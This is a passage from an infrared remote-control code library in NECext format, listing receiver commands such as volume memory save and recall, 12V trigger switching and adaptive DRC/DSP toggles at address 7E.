-command: 6C 00 00 00 -# -name: MZ:_VOL_MEM_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: MZ_VOL_MEM_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: MZ:_VL_P_MEM_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: MZ_VOL_MEM:_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: VOL_MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: VOL._MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: VOLUME_MEMORY:_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: MZ:_VOL_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: MZ:_VOL_MEM_7 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: VOLUME_BANK_MEMORY_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: MZ:_VOL_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6C 00 00 00 -# -name: VOL_MEM_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: VOLUME_MEMORY_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: PRESET_MEMORY_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: MZ:_VOL_P_MEM_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: MZ:_VOL_MEM_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: MZ_VOL_MEM_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: MZ:_VL_P_MEM_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: MZ_VOL_MEM:_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: VOL_MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: VOL._MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: VOLUME_MEMORY:_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: MZ:_VOL_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: MZ:_VOL_MEM_8 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: VOLUME_BANK_MEMORY_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: MZ:_VOL_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6D 00 00 00 -# -name: VOL_MEM_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: VOLUME_MEMORY_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: PRESET_MEMORY_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: MZ:_VOL_P_MEM_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: MZ:_VOL_MEM_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: MZ_VOL_MEM_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: MZ:_VL_P_MEM_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: MZ_VOL_MEM:_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: VOL_MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: VOL._MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: VOLUME_MEMORY:_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: MZ:_VOL_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: MZ:_VOL_MEM_9 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: VOLUME_BANK_MEMORY_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: MZ:_VOL_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: VIDEO_PRESET_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6E 00 00 00 -# -name: VOL_MEM_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: VOLUME_MEMORY_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: PRESET_MEMORY_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: MZ:_VOL_P_MEM_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: MZ:_VOL_MEM_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: MZ_VOL_MEM_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: MZ:_VL_P_MEM_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: MZ_VOL_MEM:_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: VOL_MEMORY_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: VOL._MEMORY_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: VOLUME_MEMORY:_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: MZ:_VOL_MEM_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: MZ:_VOL_MEM_10 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: VOLUME_BANK_MEMORY_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: MZ:_VOL_MEM_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: VIDEO_PRESET_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6F 00 00 00 -# -name: VOL_MEM_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: VOLUME_MEMORY_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: PRESET_MEMORY_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: MZ:_VOL_P_MEM_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: MZ:_VOL_MEM_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: MZ_VOL_MEM_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: MZ:_VL_P_MEM_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: MZ_VOL_MEM:_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: VOL_MEMORY_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: VOL._MEMORY_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: VOLUME_MEMORY:_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: MZ:_VOL_MEM_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: MZ:_VOL_REC_7 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: VOLUME_BANK_MEMORY_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: MZ:_VOL_MEM_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: VIDEO_PRESET_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 70 00 00 00 -# -name: DC1_TRG_Z2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: Z2_DC1_TRG_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: 12V:_DC1_Z2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: DC1_TRIG_Z2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: ZONE2_DC1_TRG_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: DC1_TRG_ZONE_2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: DC1_TRIGGER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: TRIGGER_ZONE_2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: Z2:_DC1_TRIGGER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: 12V:_DC2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: DC1_TRG_Z2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: MZ:_VOL_REC_8 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: ZONE2_DC_TRG_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: TRIGGER_1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: TRIGGER_1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: DC1_TRG_Z2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: Z2_DC1_TRG_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: 12V:_DC1_Z2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: DC1_TRIG_Z2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: ZONE2_DC1_TRG_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: DC1_TRG_ZONE_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: DC1_TRIGGER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: TRIGGER_ZONE_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: Z2:_DC1_TRIGGER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: 12V:_DC2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: DC1_TRG_Z2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: MZ:_VOL_REC_9 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: ZONE2_DC_TRG_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: TRIGGER_1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: TRIGGER_1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: DC1_TRG_Z1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: ZONE1_DC1_TRG_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: 12V:_DC1_Z1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: DC1_TRIG_Z1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: DC1_TRG_ZONE_1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: DC1_TRIGGER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: TRIGGER_ZONE_1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: MAIN:DC1_TRIGGER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: 12V:_DC1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: DC1_TRG_Z1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: DC1_TRIG_MZ_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: MZ:_VOL_REC_10 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: DC_TRIGGER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: TRIGGER:_1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: TRIGGER:_1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: DC1_TRG_Z1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: ZONE1_DC1_TRG_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: 12V:_DC1_Z1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: DC1_TRIG_Z1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: ADAPTIVE_DRC_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: DC1_TRG_ZONE_1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: DC1_TRIGGER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: DSP_A-DRC_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: TRIGGER_ZONE_1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: MAIN:DC1_TRIGGER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: 12V:_DC1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: DC1_TRG_Z1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: DC1_TRIG_MZ_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: MENU_ADRC_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: MZ:_ADAP-DRC_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: DC_TRIGGER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: TRIGGER:_1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: ADAP_DRC_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: TRIGGER:_1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: ADAP_DRC_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: VOL_RECALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: VOLUME_RECALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: PRESET_RECALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: MZ:_VOL_P_RECL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: MZ:_VOL_MEM_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: MZ_VOL_MEM_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: ADAPTIVE_DRC_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: MZ:_VL_P_RECL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: MZ_VOL_MEM:_LOAD_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: VOL_RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: DSP_A-DRC_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: VOLUME_1_LOAD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: VOL._RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: VOLUME_RECALL:_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: MENU_ADRC_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: MZ:_VOL_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: MZ:_ADAP-DRC_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: VOLUME_BANK_RECALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: ADAP_DRC_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: MZ:_VOL_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: ADAP_DRC_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 75 00 00 00 -# -name: VOL_RECALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: VOLUME_RECALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: PRESET_RECALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: MZ:_VOL_P_RECL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: MZ:_VOL_MEM_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: MZ_VOL_MEM_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: ADAPTIVE_DSP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: MZ:_VL_P_RECL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: MZ_VOL_MEM:_LOAD_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: VOL_RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: DSP_A-DSP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: VOL._RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: VOLUME_RECALL:_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: MENU_ADSP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: MZ:_VOL_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: MZ:_ADAP-DSP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: VOLUME_BANK_RECALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: ADAP_DSP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: MZ:_VOL_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: ADAP_DSP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 76 00 00 00 -# -name: VOL_RECALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: VOLUME_RECALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: PRESET_RECALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: MZ:_VOL_P_RECL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: MZ:_VOL_MEM_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: MZ_VOL_MEM_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: ADAPTIVE_DSP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: MZ:_VL_P_RECL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: MZ_VOL_MEM:_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: VOL_RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: DSP_A-DSP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: VOL._RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: VOLUME_RECALL:_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: MENU_ADSP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: MZ:_VOL_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: MZ:_ADAP-DSP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: VOLUME_BANK_RECALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: ADAP_DSP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: MZ:_VOL_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: ADAP_DSP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 77 00 00 00 -# -name: VOL_RECALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: VOLUME_RECALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: PRESET_RECALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: MZ:_VOL_P_RECL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: MZ:_VOL_MEM_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: MZ_VOL_MEM_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: MZ:_VL_P_RECL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: MZ_VOL_MEM:_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: VOL_RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: VOL._RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: VOLUME_RECALL:_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: MZ:_VOL_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: VCXO:_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: VOLUME_BANK_RECALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: MZ:_VOL_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 78 00 00 00 -# -name: VOL_RECALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: VOLUME_RECALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: PRESET_RECALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: MZ:_VOL_P_RECL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: MZ:_VOL_MEM_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: MZ_VOL_MEM_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: MZ:_VL_P_RECL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: MZ_VOL_MEM:_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: VOL_RECALL_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: VOL._RECALL_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: VOLUME_RECALL:_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: MZ:_VOL_REC_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: VCXO:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: VOLUME_BANK_RECALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: MZ:_VOL_REC_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 79 00 00 00 -# -name: VOL_RECALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: VOLUME_RECALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: PRESET_RECALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: MZ:_VOL_P_RECL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: MZ:_VOL_MEM_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: MZ_VOL_MEM_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: MZ:_VL_P_RECL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: MZ_VOL_MEM:_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: VOL_RECALL_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: VOL._RECALL_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 7A 00 00 00 -# -name: VOLUME_RECALL:_F -type: parsed -protocol: NECext -address: 7E 